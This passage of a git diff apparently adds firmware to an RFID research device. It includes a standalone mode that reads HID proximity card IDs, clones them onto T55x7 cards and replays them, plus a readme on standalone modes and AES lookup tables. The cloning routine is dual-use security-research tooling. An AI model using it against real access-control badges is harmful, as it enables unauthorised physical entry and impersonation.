(BUTTON_PRESS()) + WDT_HIT(); + + /* need this delay to prevent catching some weird data */ + SpinDelay(500); + + CopyHIDtoT55x7(0, high[selected], low[selected], 0); + Dbprintf("[+] cloned %x %x %08x", selected, high[selected], low[selected]); + + LEDsoff(); + LED(selected + 1, 0); + // Finished recording + + // If we were previously playing, set playing off + // so next button push begins playing what we recorded + playing = 0; + cardRead = 0; + } + + // Change where to record (or begin playing) + else if (button_pressed) { + // Next option if we were previously playing + if (playing) + selected = (selected + 1) % OPTS; + playing = !playing; + + LEDsoff(); + LED(selected + 1, 0); + + // Begin transmitting + if (playing) { + LED(LED_GREEN, 0); + DbpString("[+] playing"); + // wait for button to be released + while (BUTTON_PRESS()) + WDT_HIT(); + + Dbprintf("[+] %x %x %08x", selected, high[selected], low[selected]); + CmdHIDsimTAG(high[selected], low[selected], false); + DbpString("[+] done playing"); + + if (BUTTON_HELD(1000) > 0) { + DbpString("[+] exiting"); + LEDsoff(); + return; + } + + /* We pressed a button so ignore it here with a delay */ + SpinDelay(300); + + // when done, we're done playing, move to next option + selected = (selected + 1) % OPTS; + playing = !playing; + LEDsoff(); + LED(selected + 1, 0); + } + else { + while (BUTTON_PRESS()) + WDT_HIT(); + } + } + } +} \ No newline at end of file diff --git a/armsrc/Standalone/lf_samyrun.h b/armsrc/Standalone/lf_samyrun.h new file mode 100644 index 000000000..cf21e1261 --- /dev/null +++ b/armsrc/Standalone/lf_samyrun.h @@ -0,0 +1,22 @@ +//----------------------------------------------------------------------------- +// Samy Kamkar 2012 +// Christian Herrmann, 2017 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// StandAlone Mod +//----------------------------------------------------------------------------- + +#ifndef __LF_SAMYRUN_H +#define __LF_SAMYRUN_H + +//#include // for bool +#include "standalone.h" // standalone definitions +#include "apps.h" // debugstatements, lfops? + + +#define OPTS 2 + +#endif /* __LF_SAMYRUN_H */ \ No newline at end of file diff --git a/armsrc/Standalone/readme.md b/armsrc/Standalone/readme.md new file mode 100644 index 000000000..b2b31d77e --- /dev/null +++ b/armsrc/Standalone/readme.md @@ -0,0 +1,28 @@ +# StandAlone Modes + +This contains functionality for different StandAlone modes. The fullimage will be built given the correct compiler flags used. Build targets for these files are contained in `armsrc/Makefile`. + +If you want to implement a new standalone mode, you need to implement the methods provided in `standalone.h`. + +## Implementing a standalone mode + +Each standalone mod needs to have its own compiler flag to be added in `armsrc\makefile` and inside the function `AppMain` inside AppMain.c. Inside Appmain a call to RunMod is needed. It looks strange because of what kinds of dependencies your mode will have. +The RunMod function is your "main" function when running. You need to check for Usb commands, in order to let the pm3 client break the standalone mode. + +As it is now, you can only have one standalone mode installed at the time. + +## Name +Use HF/LF to denote which frequence your mod is targeting. +Use you own github name/similar for perpetual honour to denote your mod + +Samples: +### -DWITH_LF_ICERUN +### -DWITH_LF_SAMYRUN +### -DWITH_LF_PROXBRUTE +### -DWITH_LF_HIDBRUTE +### -DWITH_HF_YOUNG +### -DWITH_HF_MATTYRUN + +## Adding identification of your mode +Do please add a identification string in the function `printStandAloneModes` inside `armsrc\appmain.c` +This will enable an easy way to detect on client side which standalone mods has been installed on the device. diff --git a/armsrc/Standalone/standalone.h b/armsrc/Standalone/standalone.h new file mode 100644 index 000000000..53d5ff13d --- /dev/null +++ b/armsrc/Standalone/standalone.h @@ -0,0 +1,19 @@ +//----------------------------------------------------------------------------- +// Christian Herrmann, 2017 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// StandAlone Mod header file +//----------------------------------------------------------------------------- + +#ifndef __STANDALONE_H +#define __STANDALONE_H + +#include // for bool +#include // PRIu64 + +extern void RunMod(); + +#endif /* __STANDALONE_H */ \ No newline at end of file diff --git a/armsrc/aes.c b/armsrc/aes.c new file mode 100644 index 000000000..dc89a1cf0 --- /dev/null +++ b/armsrc/aes.c @@ -0,0 +1,1170 @@ +#include "aes.h" + +static const unsigned int Te0[256] = { + 0xc66363a5UL, 0xf87c7c84UL, 0xee777799UL, 0xf67b7b8dUL, + 0xfff2f20dUL, 0xd66b6bbdUL, 0xde6f6fb1UL, 0x91c5c554UL, + 0x60303050UL, 0x02010103UL, 0xce6767a9UL, 0x562b2b7dUL, + 0xe7fefe19UL, 0xb5d7d762UL, 0x4dababe6UL, 0xec76769aUL, + 0x8fcaca45UL, 0x1f82829dUL, 0x89c9c940UL, 0xfa7d7d87UL, + 0xeffafa15UL, 0xb25959ebUL, 0x8e4747c9UL, 0xfbf0f00bUL, + 0x41adadecUL, 0xb3d4d467UL, 0x5fa2a2fdUL, 0x45afafeaUL, + 0x239c9cbfUL, 0x53a4a4f7UL, 0xe4727296UL, 0x9bc0c05bUL, + 0x75b7b7c2UL, 0xe1fdfd1cUL, 0x3d9393aeUL, 0x4c26266aUL, + 0x6c36365aUL, 0x7e3f3f41UL, 0xf5f7f702UL, 0x83cccc4fUL, + 0x6834345cUL, 0x51a5a5f4UL, 0xd1e5e534UL, 0xf9f1f108UL, + 0xe2717193UL, 0xabd8d873UL, 0x62313153UL, 0x2a15153fUL, + 0x0804040cUL, 0x95c7c752UL, 0x46232365UL, 0x9dc3c35eUL, + 0x30181828UL, 0x379696a1UL, 0x0a05050fUL, 0x2f9a9ab5UL, + 0x0e070709UL, 0x24121236UL, 0x1b80809bUL, 0xdfe2e23dUL, + 0xcdebeb26UL, 0x4e272769UL, 0x7fb2b2cdUL, 0xea75759fUL, + 0x1209091bUL, 0x1d83839eUL, 0x582c2c74UL, 0x341a1a2eUL, + 0x361b1b2dUL, 0xdc6e6eb2UL, 0xb45a5aeeUL, 0x5ba0a0fbUL, + 0xa45252f6UL, 0x763b3b4dUL, 0xb7d6d661UL, 0x7db3b3ceUL, + 0x5229297bUL, 0xdde3e33eUL, 0x5e2f2f71UL, 0x13848497UL, + 0xa65353f5UL, 0xb9d1d168UL, 0x00000000UL, 0xc1eded2cUL, + 0x40202060UL, 0xe3fcfc1fUL, 0x79b1b1c8UL, 0xb65b5bedUL, + 0xd46a6abeUL, 0x8dcbcb46UL, 0x67bebed9UL, 0x7239394bUL, + 0x944a4adeUL, 0x984c4cd4UL, 0xb05858e8UL, 0x85cfcf4aUL, + 0xbbd0d06bUL, 0xc5efef2aUL, 0x4faaaae5UL, 0xedfbfb16UL, + 0x864343c5UL, 0x9a4d4dd7UL, 0x66333355UL, 0x11858594UL, + 0x8a4545cfUL, 0xe9f9f910UL, 0x04020206UL, 0xfe7f7f81UL, + 0xa05050f0UL, 0x783c3c44UL, 0x259f9fbaUL, 0x4ba8a8e3UL, + 0xa25151f3UL, 0x5da3a3feUL, 0x804040c0UL, 0x058f8f8aUL, + 0x3f9292adUL, 0x219d9dbcUL, 0x70383848UL, 0xf1f5f504UL, + 0x63bcbcdfUL, 0x77b6b6c1UL, 0xafdada75UL, 0x42212163UL, + 0x20101030UL, 0xe5ffff1aUL, 0xfdf3f30eUL, 0xbfd2d26dUL, + 0x81cdcd4cUL, 0x180c0c14UL, 0x26131335UL, 0xc3ecec2fUL, + 0xbe5f5fe1UL, 0x359797a2UL, 0x884444ccUL, 0x2e171739UL, + 0x93c4c457UL, 0x55a7a7f2UL, 0xfc7e7e82UL, 0x7a3d3d47UL, + 0xc86464acUL, 0xba5d5de7UL, 0x3219192bUL, 0xe6737395UL, + 0xc06060a0UL, 0x19818198UL, 0x9e4f4fd1UL, 0xa3dcdc7fUL, + 0x44222266UL, 0x542a2a7eUL, 0x3b9090abUL, 0x0b888883UL, + 0x8c4646caUL, 0xc7eeee29UL, 0x6bb8b8d3UL, 0x2814143cUL, + 0xa7dede79UL, 0xbc5e5ee2UL, 0x160b0b1dUL, 0xaddbdb76UL, + 0xdbe0e03bUL, 0x64323256UL, 0x743a3a4eUL, 0x140a0a1eUL, + 0x924949dbUL, 0x0c06060aUL, 0x4824246cUL, 0xb85c5ce4UL, + 0x9fc2c25dUL, 0xbdd3d36eUL, 0x43acacefUL, 0xc46262a6UL, + 0x399191a8UL, 0x319595a4UL, 0xd3e4e437UL, 0xf279798bUL, + 0xd5e7e732UL, 0x8bc8c843UL, 0x6e373759UL, 0xda6d6db7UL, + 0x018d8d8cUL, 0xb1d5d564UL, 0x9c4e4ed2UL, 0x49a9a9e0UL, + 0xd86c6cb4UL, 0xac5656faUL, 0xf3f4f407UL, 0xcfeaea25UL, + 0xca6565afUL, 0xf47a7a8eUL, 0x47aeaee9UL, 0x10080818UL, + 0x6fbabad5UL, 0xf0787888UL, 0x4a25256fUL, 0x5c2e2e72UL, + 0x381c1c24UL, 0x57a6a6f1UL, 0x73b4b4c7UL, 0x97c6c651UL, + 0xcbe8e823UL, 0xa1dddd7cUL, 0xe874749cUL, 0x3e1f1f21UL, + 0x964b4bddUL, 0x61bdbddcUL, 0x0d8b8b86UL, 0x0f8a8a85UL, + 0xe0707090UL, 0x7c3e3e42UL, 0x71b5b5c4UL, 0xcc6666aaUL, + 0x904848d8UL, 0x06030305UL, 0xf7f6f601UL, 0x1c0e0e12UL, + 0xc26161a3UL, 0x6a35355fUL, 0xae5757f9UL, 0x69b9b9d0UL, + 0x17868691UL, 0x99c1c158UL, 0x3a1d1d27UL, 0x279e9eb9UL, + 0xd9e1e138UL, 0xebf8f813UL, 0x2b9898b3UL, 0x22111133UL, + 0xd26969bbUL, 0xa9d9d970UL, 0x078e8e89UL, 0x339494a7UL, + 0x2d9b9bb6UL, 0x3c1e1e22UL, 0x15878792UL, 0xc9e9e920UL, + 0x87cece49UL, 0xaa5555ffUL, 0x50282878UL, 0xa5dfdf7aUL, + 0x038c8c8fUL, 0x59a1a1f8UL, 0x09898980UL, 0x1a0d0d17UL, + 0x65bfbfdaUL, 0xd7e6e631UL, 0x844242c6UL, 0xd06868b8UL, + 0x824141c3UL, 0x299999b0UL, 0x5a2d2d77UL, 0x1e0f0f11UL, + 0x7bb0b0cbUL, 0xa85454fcUL, 0x6dbbbbd6UL, 0x2c16163aUL, +}; +static const unsigned int Te1[256] = { + 0xa5c66363UL, 0x84f87c7cUL, 0x99ee7777UL, 0x8df67b7bUL, + 0x0dfff2f2UL, 0xbdd66b6bUL, 0xb1de6f6fUL, 0x5491c5c5UL, + 0x50603030UL, 0x03020101UL, 0xa9ce6767UL, 0x7d562b2bUL, + 0x19e7fefeUL, 0x62b5d7d7UL, 0xe64dababUL, 0x9aec7676UL, + 0x458fcacaUL, 0x9d1f8282UL, 0x4089c9c9UL, 0x87fa7d7dUL, + 0x15effafaUL, 0xebb25959UL, 0xc98e4747UL, 0x0bfbf0f0UL, + 0xec41adadUL, 0x67b3d4d4UL, 0xfd5fa2a2UL, 0xea45afafUL, + 0xbf239c9cUL, 0xf753a4a4UL, 0x96e47272UL, 0x5b9bc0c0UL, + 0xc275b7b7UL, 0x1ce1fdfdUL, 0xae3d9393UL, 0x6a4c2626UL, + 0x5a6c3636UL, 0x417e3f3fUL, 0x02f5f7f7UL, 0x4f83ccccUL, + 0x5c683434UL, 0xf451a5a5UL, 0x34d1e5e5UL, 0x08f9f1f1UL, + 0x93e27171UL, 0x73abd8d8UL, 0x53623131UL, 0x3f2a1515UL, + 0x0c080404UL, 0x5295c7c7UL, 0x65462323UL, 0x5e9dc3c3UL, + 0x28301818UL, 0xa1379696UL, 0x0f0a0505UL, 0xb52f9a9aUL, + 0x090e0707UL, 0x36241212UL, 0x9b1b8080UL, 0x3ddfe2e2UL, + 0x26cdebebUL, 0x694e2727UL, 0xcd7fb2b2UL, 0x9fea7575UL, + 0x1b120909UL, 0x9e1d8383UL, 0x74582c2cUL, 0x2e341a1aUL, + 0x2d361b1bUL, 0xb2dc6e6eUL, 0xeeb45a5aUL, 0xfb5ba0a0UL, + 0xf6a45252UL, 0x4d763b3bUL, 0x61b7d6d6UL, 0xce7db3b3UL, + 0x7b522929UL, 0x3edde3e3UL, 0x715e2f2fUL, 0x97138484UL, + 0xf5a65353UL, 0x68b9d1d1UL, 0x00000000UL, 0x2cc1ededUL, + 0x60402020UL, 0x1fe3fcfcUL, 0xc879b1b1UL, 0xedb65b5bUL, + 0xbed46a6aUL, 0x468dcbcbUL, 0xd967bebeUL, 0x4b723939UL, + 0xde944a4aUL, 0xd4984c4cUL, 0xe8b05858UL, 0x4a85cfcfUL, + 0x6bbbd0d0UL, 0x2ac5efefUL, 0xe54faaaaUL, 0x16edfbfbUL, + 0xc5864343UL, 0xd79a4d4dUL, 0x55663333UL, 0x94118585UL, + 0xcf8a4545UL, 0x10e9f9f9UL, 0x06040202UL, 0x81fe7f7fUL, + 0xf0a05050UL, 0x44783c3cUL, 0xba259f9fUL, 0xe34ba8a8UL, + 0xf3a25151UL, 0xfe5da3a3UL, 0xc0804040UL, 0x8a058f8fUL, + 0xad3f9292UL, 0xbc219d9dUL, 0x48703838UL, 0x04f1f5f5UL, + 0xdf63bcbcUL, 0xc177b6b6UL, 0x75afdadaUL, 0x63422121UL, + 0x30201010UL, 0x1ae5ffffUL, 0x0efdf3f3UL, 0x6dbfd2d2UL, + 0x4c81cdcdUL, 0x14180c0cUL, 0x35261313UL, 0x2fc3ececUL, + 0xe1be5f5fUL, 0xa2359797UL, 0xcc884444UL, 0x392e1717UL, + 0x5793c4c4UL, 0xf255a7a7UL, 0x82fc7e7eUL, 0x477a3d3dUL, + 0xacc86464UL, 0xe7ba5d5dUL, 0x2b321919UL, 0x95e67373UL, + 0xa0c06060UL, 0x98198181UL, 0xd19e4f4fUL, 0x7fa3dcdcUL, + 0x66442222UL, 0x7e542a2aUL, 0xab3b9090UL, 0x830b8888UL, + 0xca8c4646UL, 0x29c7eeeeUL, 0xd36bb8b8UL, 0x3c281414UL, + 0x79a7dedeUL, 0xe2bc5e5eUL, 0x1d160b0bUL, 0x76addbdbUL, + 0x3bdbe0e0UL, 0x56643232UL, 0x4e743a3aUL, 0x1e140a0aUL, + 0xdb924949UL, 0x0a0c0606UL, 0x6c482424UL, 0xe4b85c5cUL, + 0x5d9fc2c2UL, 0x6ebdd3d3UL, 0xef43acacUL, 0xa6c46262UL, + 0xa8399191UL, 0xa4319595UL, 0x37d3e4e4UL, 0x8bf27979UL, + 0x32d5e7e7UL, 0x438bc8c8UL, 0x596e3737UL, 0xb7da6d6dUL, + 0x8c018d8dUL, 0x64b1d5d5UL, 0xd29c4e4eUL, 0xe049a9a9UL, + 0xb4d86c6cUL, 0xfaac5656UL, 0x07f3f4f4UL, 0x25cfeaeaUL, + 0xafca6565UL, 0x8ef47a7aUL, 0xe947aeaeUL, 0x18100808UL, + 0xd56fbabaUL, 0x88f07878UL, 0x6f4a2525UL, 0x725c2e2eUL, + 0x24381c1cUL, 0xf157a6a6UL, 0xc773b4b4UL, 0x5197c6c6UL, + 0x23cbe8e8UL, 0x7ca1ddddUL, 0x9ce87474UL, 0x213e1f1fUL, + 0xdd964b4bUL, 0xdc61bdbdUL, 0x860d8b8bUL, 0x850f8a8aUL, + 0x90e07070UL, 0x427c3e3eUL, 0xc471b5b5UL, 0xaacc6666UL, + 0xd8904848UL, 0x05060303UL, 0x01f7f6f6UL, 0x121c0e0eUL, + 0xa3c26161UL, 0x5f6a3535UL, 0xf9ae5757UL, 0xd069b9b9UL, + 0x91178686UL, 0x5899c1c1UL, 0x273a1d1dUL, 0xb9279e9eUL, + 0x38d9e1e1UL, 0x13ebf8f8UL, 0xb32b9898UL, 0x33221111UL, + 0xbbd26969UL, 0x70a9d9d9UL, 0x89078e8eUL, 0xa7339494UL, + 0xb62d9b9bUL, 0x223c1e1eUL, 0x92158787UL, 0x20c9e9e9UL, + 0x4987ceceUL, 0xffaa5555UL, 0x78502828UL, 0x7aa5dfdfUL, + 0x8f038c8cUL, 0xf859a1a1UL, 0x80098989UL, 0x171a0d0dUL, + 0xda65bfbfUL, 0x31d7e6e6UL, 0xc6844242UL, 0xb8d06868UL, + 0xc3824141UL, 0xb0299999UL, 0x775a2d2dUL, 0x111e0f0fUL, + 0xcb7bb0b0UL, 0xfca85454UL, 0xd66dbbbbUL, 0x3a2c1616UL, +}; +static const unsigned int Te2[256] = { + 0x63a5c663UL, 0x7c84f87cUL, 0x7799ee77UL, 0x7b8df67bUL, + 0xf20dfff2UL, 0x6bbdd66bUL, 0x6fb1de6fUL, 0xc55491c5UL, + 0x30506030UL, 0x01030201UL, 0x67a9ce67UL, 0x2b7d562bUL, + 0xfe19e7feUL, 0xd762b5d7UL, 0xabe64dabUL, 0x769aec76UL, + 0xca458fcaUL, 0x829d1f82UL, 0xc94089c9UL, 0x7d87fa7dUL, + 0xfa15effaUL, 0x59ebb259UL, 0x47c98e47UL, 0xf00bfbf0UL, + 0xadec41adUL, 0xd467b3d4UL, 0xa2fd5fa2UL, 0xafea45afUL, + 0x9cbf239cUL, 0xa4f753a4UL, 0x7296e472UL, 0xc05b9bc0UL, + 0xb7c275b7UL, 0xfd1ce1fdUL, 0x93ae3d93UL, 0x266a4c26UL, + 0x365a6c36UL, 0x3f417e3fUL, 0xf702f5f7UL, 0xcc4f83ccUL, + 0x345c6834UL, 0xa5f451a5UL, 0xe534d1e5UL, 0xf108f9f1UL, + 0x7193e271UL, 0xd873abd8UL, 0x31536231UL, 0x153f2a15UL, + 0x040c0804UL, 0xc75295c7UL, 0x23654623UL, 0xc35e9dc3UL, + 0x18283018UL, 0x96a13796UL, 0x050f0a05UL, 0x9ab52f9aUL, + 0x07090e07UL, 0x12362412UL, 0x809b1b80UL, 0xe23ddfe2UL, + 0xeb26cdebUL, 0x27694e27UL, 0xb2cd7fb2UL, 0x759fea75UL, + 0x091b1209UL, 0x839e1d83UL, 0x2c74582cUL, 0x1a2e341aUL, + 0x1b2d361bUL, 0x6eb2dc6eUL, 0x5aeeb45aUL, 0xa0fb5ba0UL, + 0x52f6a452UL, 0x3b4d763bUL, 0xd661b7d6UL, 0xb3ce7db3UL, + 0x297b5229UL, 0xe33edde3UL, 0x2f715e2fUL, 0x84971384UL, + 0x53f5a653UL, 0xd168b9d1UL, 0x00000000UL, 0xed2cc1edUL, + 0x20604020UL, 0xfc1fe3fcUL, 0xb1c879b1UL, 0x5bedb65bUL, + 0x6abed46aUL, 0xcb468dcbUL, 0xbed967beUL, 0x394b7239UL, + 0x4ade944aUL, 0x4cd4984cUL, 0x58e8b058UL, 0xcf4a85cfUL, + 0xd06bbbd0UL, 0xef2ac5efUL, 0xaae54faaUL, 0xfb16edfbUL, + 0x43c58643UL, 0x4dd79a4dUL, 0x33556633UL, 0x85941185UL, + 0x45cf8a45UL, 0xf910e9f9UL, 0x02060402UL, 0x7f81fe7fUL, + 0x50f0a050UL, 0x3c44783cUL, 0x9fba259fUL, 0xa8e34ba8UL, + 0x51f3a251UL, 0xa3fe5da3UL, 0x40c08040UL, 0x8f8a058fUL, + 0x92ad3f92UL, 0x9dbc219dUL, 0x38487038UL, 0xf504f1f5UL, + 0xbcdf63bcUL, 0xb6c177b6UL, 0xda75afdaUL, 0x21634221UL, + 0x10302010UL, 0xff1ae5ffUL, 0xf30efdf3UL, 0xd26dbfd2UL, + 0xcd4c81cdUL, 0x0c14180cUL, 0x13352613UL, 0xec2fc3ecUL, + 0x5fe1be5fUL, 0x97a23597UL, 0x44cc8844UL, 0x17392e17UL, + 0xc45793c4UL, 0xa7f255a7UL, 0x7e82fc7eUL, 0x3d477a3dUL, + 0x64acc864UL, 0x5de7ba5dUL, 0x192b3219UL, 0x7395e673UL, + 0x60a0c060UL, 0x81981981UL, 0x4fd19e4fUL, 0xdc7fa3dcUL, + 0x22664422UL, 0x2a7e542aUL, 0x90ab3b90UL, 0x88830b88UL, + 0x46ca8c46UL, 0xee29c7eeUL, 0xb8d36bb8UL, 0x143c2814UL, + 0xde79a7deUL, 0x5ee2bc5eUL, 0x0b1d160bUL, 0xdb76addbUL, + 0xe03bdbe0UL, 0x32566432UL, 0x3a4e743aUL, 0x0a1e140aUL, + 0x49db9249UL, 0x060a0c06UL, 0x246c4824UL, 0x5ce4b85cUL, + 0xc25d9fc2UL, 0xd36ebdd3UL, 0xacef43acUL, 0x62a6c462UL, + 0x91a83991UL, 0x95a43195UL, 0xe437d3e4UL, 0x798bf279UL, + 0xe732d5e7UL, 0xc8438bc8UL, 0x37596e37UL, 0x6db7da6dUL, + 0x8d8c018dUL, 0xd564b1d5UL, 0x4ed29c4eUL, 0xa9e049a9UL, + 0x6cb4d86cUL, 0x56faac56UL, 0xf407f3f4UL, 0xea25cfeaUL, + 0x65afca65UL, 0x7a8ef47aUL, 0xaee947aeUL, 0x08181008UL, + 0xbad56fbaUL, 0x7888f078UL, 0x256f4a25UL, 0x2e725c2eUL, + 0x1c24381cUL, 0xa6f157a6UL, 0xb4c773b4UL, 0xc65197c6UL, + 0xe823cbe8UL, 0xdd7ca1ddUL, 0x749ce874UL, 0x1f213e1fUL, + 0x4bdd964bUL, 0xbddc61bdUL, 0x8b860d8bUL, 0x8a850f8aUL, + 0x7090e070UL, 0x3e427c3eUL, 0xb5c471b5UL, 0x66aacc66UL, + 0x48d89048UL, 0x03050603UL, 0xf601f7f6UL, 0x0e121c0eUL, + 0x61a3c261UL, 0x355f6a35UL, 0x57f9ae57UL, 0xb9d069b9UL, + 0x86911786UL, 0xc15899c1UL, 0x1d273a1dUL, 0x9eb9279eUL, + 0xe138d9e1UL, 0xf813ebf8UL, 0x98b32b98UL, 0x11332211UL, + 0x69bbd269UL, 0xd970a9d9UL, 0x8e89078eUL, 0x94a73394UL, + 0x9bb62d9bUL, 0x1e223c1eUL, 0x87921587UL, 0xe920c9e9UL, + 0xce4987ceUL, 0x55ffaa55UL, 0x28785028UL, 0xdf7aa5dfUL, + 0x8c8f038cUL, 0xa1f859a1UL, 0x89800989UL, 0x0d171a0dUL, + 0xbfda65bfUL, 0xe631d7e6UL, 0x42c68442UL, 0x68b8d068UL, + 0x41c38241UL, 0x99b02999UL, 0x2d775a2dUL, 0x0f111e0fUL, + 0xb0cb7bb0UL, 0x54fca854UL, 0xbbd66dbbUL, 0x163a2c16UL, +}; +static const unsigned int Te3[256] = { + 0x6363a5c6UL, 0x7c7c84f8UL, 0x777799eeUL, 0x7b7b8df6UL, + 0xf2f20dffUL, 0x6b6bbdd6UL, 0x6f6fb1deUL, 0xc5c55491UL, + 0x30305060UL, 0x01010302UL, 0x6767a9ceUL, 0x2b2b7d56UL, + 0xfefe19e7UL, 0xd7d762b5UL, 0xababe64dUL, 0x76769aecUL, + 0xcaca458fUL, 0x82829d1fUL, 0xc9c94089UL, 0x7d7d87faUL, + 0xfafa15efUL, 0x5959ebb2UL, 0x4747c98eUL, 0xf0f00bfbUL, + 0xadadec41UL, 0xd4d467b3UL, 0xa2a2fd5fUL, 0xafafea45UL, + 0x9c9cbf23UL, 0xa4a4f753UL, 0x727296e4UL, 0xc0c05b9bUL, + 0xb7b7c275UL, 0xfdfd1ce1UL, 0x9393ae3dUL, 0x26266a4cUL, + 0x36365a6cUL, 0x3f3f417eUL, 0xf7f702f5UL, 0xcccc4f83UL, + 0x34345c68UL, 0xa5a5f451UL, 0xe5e534d1UL, 0xf1f108f9UL, + 0x717193e2UL, 0xd8d873abUL, 0x31315362UL, 0x15153f2aUL, + 0x04040c08UL, 0xc7c75295UL, 0x23236546UL, 0xc3c35e9dUL, + 0x18182830UL, 0x9696a137UL, 0x05050f0aUL, 0x9a9ab52fUL, + 0x0707090eUL, 0x12123624UL, 0x80809b1bUL, 0xe2e23ddfUL, + 0xebeb26cdUL, 0x2727694eUL, 0xb2b2cd7fUL, 0x75759feaUL, + 0x09091b12UL, 0x83839e1dUL, 0x2c2c7458UL, 0x1a1a2e34UL, + 0x1b1b2d36UL, 0x6e6eb2dcUL, 0x5a5aeeb4UL, 0xa0a0fb5bUL, + 0x5252f6a4UL, 0x3b3b4d76UL, 0xd6d661b7UL, 0xb3b3ce7dUL, + 0x29297b52UL, 0xe3e33eddUL, 0x2f2f715eUL, 0x84849713UL, + 0x5353f5a6UL, 0xd1d168b9UL, 0x00000000UL, 0xeded2cc1UL, + 0x20206040UL, 0xfcfc1fe3UL, 0xb1b1c879UL, 0x5b5bedb6UL, + 0x6a6abed4UL, 0xcbcb468dUL, 0xbebed967UL, 0x39394b72UL, + 0x4a4ade94UL, 0x4c4cd498UL, 0x5858e8b0UL, 0xcfcf4a85UL, + 0xd0d06bbbUL, 0xefef2ac5UL, 0xaaaae54fUL, 0xfbfb16edUL, + 0x4343c586UL, 0x4d4dd79aUL, 0x33335566UL, 0x85859411UL, + 0x4545cf8aUL, 0xf9f910e9UL, 0x02020604UL, 0x7f7f81feUL, + 0x5050f0a0UL, 0x3c3c4478UL, 0x9f9fba25UL, 0xa8a8e34bUL, + 0x5151f3a2UL, 0xa3a3fe5dUL, 0x4040c080UL, 0x8f8f8a05UL, + 0x9292ad3fUL, 0x9d9dbc21UL, 0x38384870UL, 0xf5f504f1UL, + 0xbcbcdf63UL, 0xb6b6c177UL, 0xdada75afUL, 0x21216342UL, + 0x10103020UL, 0xffff1ae5UL, 0xf3f30efdUL, 0xd2d26dbfUL, + 0xcdcd4c81UL, 0x0c0c1418UL, 0x13133526UL, 0xecec2fc3UL, + 0x5f5fe1beUL, 0x9797a235UL, 0x4444cc88UL, 0x1717392eUL, + 0xc4c45793UL, 0xa7a7f255UL, 0x7e7e82fcUL, 0x3d3d477aUL, + 0x6464acc8UL, 0x5d5de7baUL, 0x19192b32UL, 0x737395e6UL, + 0x6060a0c0UL, 0x81819819UL, 0x4f4fd19eUL, 0xdcdc7fa3UL, + 0x22226644UL, 0x2a2a7e54UL, 0x9090ab3bUL, 0x8888830bUL, + 0x4646ca8cUL, 0xeeee29c7UL, 0xb8b8d36bUL, 0x14143c28UL, + 0xdede79a7UL, 0x5e5ee2bcUL, 0x0b0b1d16UL, 0xdbdb76adUL, + 0xe0e03bdbUL, 0x32325664UL, 0x3a3a4e74UL, 0x0a0a1e14UL, + 0x4949db92UL, 0x06060a0cUL, 0x24246c48UL, 0x5c5ce4b8UL, + 0xc2c25d9fUL, 0xd3d36ebdUL, 0xacacef43UL, 0x6262a6c4UL, + 0x9191a839UL, 0x9595a431UL, 0xe4e437d3UL, 0x79798bf2UL, + 0xe7e732d5UL, 0xc8c8438bUL, 0x3737596eUL, 0x6d6db7daUL, + 0x8d8d8c01UL, 0xd5d564b1UL, 0x4e4ed29cUL, 0xa9a9e049UL, + 0x6c6cb4d8UL, 0x5656faacUL, 0xf4f407f3UL, 0xeaea25cfUL, + 0x6565afcaUL, 0x7a7a8ef4UL, 0xaeaee947UL, 0x08081810UL, + 0xbabad56fUL, 0x787888f0UL, 0x25256f4aUL, 0x2e2e725cUL, + 0x1c1c2438UL, 0xa6a6f157UL, 0xb4b4c773UL, 0xc6c65197UL, + 0xe8e823cbUL, 0xdddd7ca1UL, 0x74749ce8UL, 0x1f1f213eUL, + 0x4b4bdd96UL, 0xbdbddc61UL, 0x8b8b860dUL, 0x8a8a850fUL, + 0x707090e0UL, 0x3e3e427cUL, 0xb5b5c471UL, 0x6666aaccUL, + 0x4848d890UL, 0x03030506UL, 0xf6f601f7UL, 0x0e0e121cUL, + 0x6161a3c2UL, 0x35355f6aUL, 0x5757f9aeUL, 0xb9b9d069UL, + 0x86869117UL, 0xc1c15899UL, 0x1d1d273aUL, 0x9e9eb927UL, + 0xe1e138d9UL, 0xf8f813ebUL, 0x9898b32bUL, 0x11113322UL, + 0x6969bbd2UL, 0xd9d970a9UL, 0x8e8e8907UL, 0x9494a733UL, + 0x9b9bb62dUL, 0x1e1e223cUL, 0x87879215UL, 0xe9e920c9UL, + 0xcece4987UL, 0x5555ffaaUL, 0x28287850UL, 0xdfdf7aa5UL, + 0x8c8c8f03UL, 0xa1a1f859UL, 0x89898009UL, 0x0d0d171aUL, + 0xbfbfda65UL, 0xe6e631d7UL, 0x4242c684UL, 0x6868b8d0UL, + 0x4141c382UL, 0x9999b029UL, 0x2d2d775aUL, 0x0f0f111eUL, + 0xb0b0cb7bUL, 0x5454fca8UL, 0xbbbbd66dUL, 0x16163a2cUL, +}; +static const unsigned int Te4[256] = { + 0x63636363UL, 0x7c7c7c7cUL, 0x77777777UL, 0x7b7b7b7bUL, + 0xf2f2f2f2UL, 0x6b6b6b6bUL, 0x6f6f6f6fUL, 0xc5c5c5c5UL, + 0x30303030UL, 0x01010101UL, 0x67676767UL, 0x2b2b2b2bUL, + 0xfefefefeUL, 0xd7d7d7d7UL, 0xababababUL, 0x76767676UL, + 0xcacacacaUL, 0x82828282UL, 0xc9c9c9c9UL, 0x7d7d7d7dUL, + 0xfafafafaUL, 0x59595959UL, 0x47474747UL, 0xf0f0f0f0UL, + 0xadadadadUL, 0xd4d4d4d4UL, 0xa2a2a2a2UL, 0xafafafafUL, + 0x9c9c9c9cUL, 0xa4a4a4a4UL, 0x72727272UL, 0xc0c0c0c0UL, + 0xb7b7b7b7UL, 0xfdfdfdfdUL, 0x93939393UL, 0x26262626UL, + 0x36363636UL, 0x3f3f3f3fUL, 0xf7f7f7f7UL, 0xccccccccUL, + 0x34343434UL, 0xa5a5a5a5UL, 0xe5e5e5e5UL, 0xf1f1f1f1UL, + 0x71717171UL, 0xd8d8d8d8UL, 0x31313131UL, 0x15151515UL, + 0x04040404UL, 0xc7c7c7c7UL, 0x23232323UL, 0xc3c3c3c3UL, + 0x18181818UL, 0x96969696UL, 0x05050505UL, 0x9a9a9a9aUL, + 0x07070707UL, 0x12121212UL, 0x80808080UL, 0xe2e2e2e2UL, + 0xebebebebUL, 0x27272727UL, 0xb2b2b2b2UL, 0x75757575UL, + 0x09090909UL, 0x83838383UL, 0x2c2c2c2cUL, 0x1a1a1a1aUL, + 